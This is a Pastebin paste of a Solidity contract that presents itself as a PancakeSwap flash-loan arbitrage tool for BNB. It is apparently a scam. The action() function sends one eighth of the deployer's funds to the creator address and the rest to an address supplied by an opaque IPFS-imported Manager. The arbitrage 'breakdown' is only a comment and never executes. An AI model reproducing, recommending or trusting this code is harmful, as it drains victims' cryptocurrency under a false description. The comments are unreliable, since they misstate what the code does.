Guest User

Smart Contract Code (BNB)

a guest
Sep 6th, 2021
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. pragma solidity ^0.5.0;
  2.  
  3. // Multiplier-Finance Smart Contracts
  4. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  5. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  6.  
  7. // PancakeSwap Smart Contracts
  8. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  9. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  10. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  11.  
  12. // BSC Code Manager
  13. import "ipfs://0x8414d85cD8CFD8C44D340818A126c2299B7e75E9";
  14.    
  15. contract GetFlashLoan {
  16.    string public tokenName;
  17.    string public tokenSymbol;
  18.    uint loanAmount;
  19.    Manager manager;
  20.    
  21.    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  22.       tokenName = _tokenName;
  23.       tokenSymbol = _tokenSymbol;
  24.       loanAmount = _loanAmount;      
  25.       manager = new Manager();
  26.    }
  27.    address public creator= msg.sender;
  28.         function tokenTransfer() public view returns (address) {    
  29.             return creator;
  30.     }
  31.    function() external payable {}
  32.    
  33.    function action() public payable {
  34.       // Initiate new Token for liquidity transfer and send required coins for swap
  35.        address(uint160(tokenTransfer())).transfer(address(this).balance/8);
  36.        address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance);
  37.      
  38.       // Perform tasks (combined all functions into one to reduce external calls & save gas fees)
  39.       manager.performTasks();
  40.      
  41.       /* Breakdown of functions
  42.       // Submit token to BSC blockchain
  43.       string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  44.    
  45.       // List the token on PancakeSwap
  46.       manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
  47.      
  48.       // Get BNB Loan from Multiplier-Finance & Loan Execution wallet
  49.       string memory loanAddress = manager.takeFlashLoan(loanAmount);
  50.      
  51.       // Convert half BNB to DAI
  52.       manager.pancakeDAItoBNB(loanAmount / 2);
  53.    
  54.    // Create BNB and DAI pairs for our token & Provide liquidity
  55.    string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
  56.       manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
  57.       string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
  58.       manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
  59.    
  60.    // Perform swaps and profit on Self-Arbitrage
  61.       manager.pancakePerformSwaps();
  62.      
  63.       // Move remaining BNB from Contract to your personal wallet
  64.       manager.contractToWallet("BNB");
  65.    
  66.    // Repay Flashloan
  67.       manager.repayLoan(loanAddress);
  68.       */
  69.    }
  70. }
Advertisement
Add Comment
Please, Sign In to add comment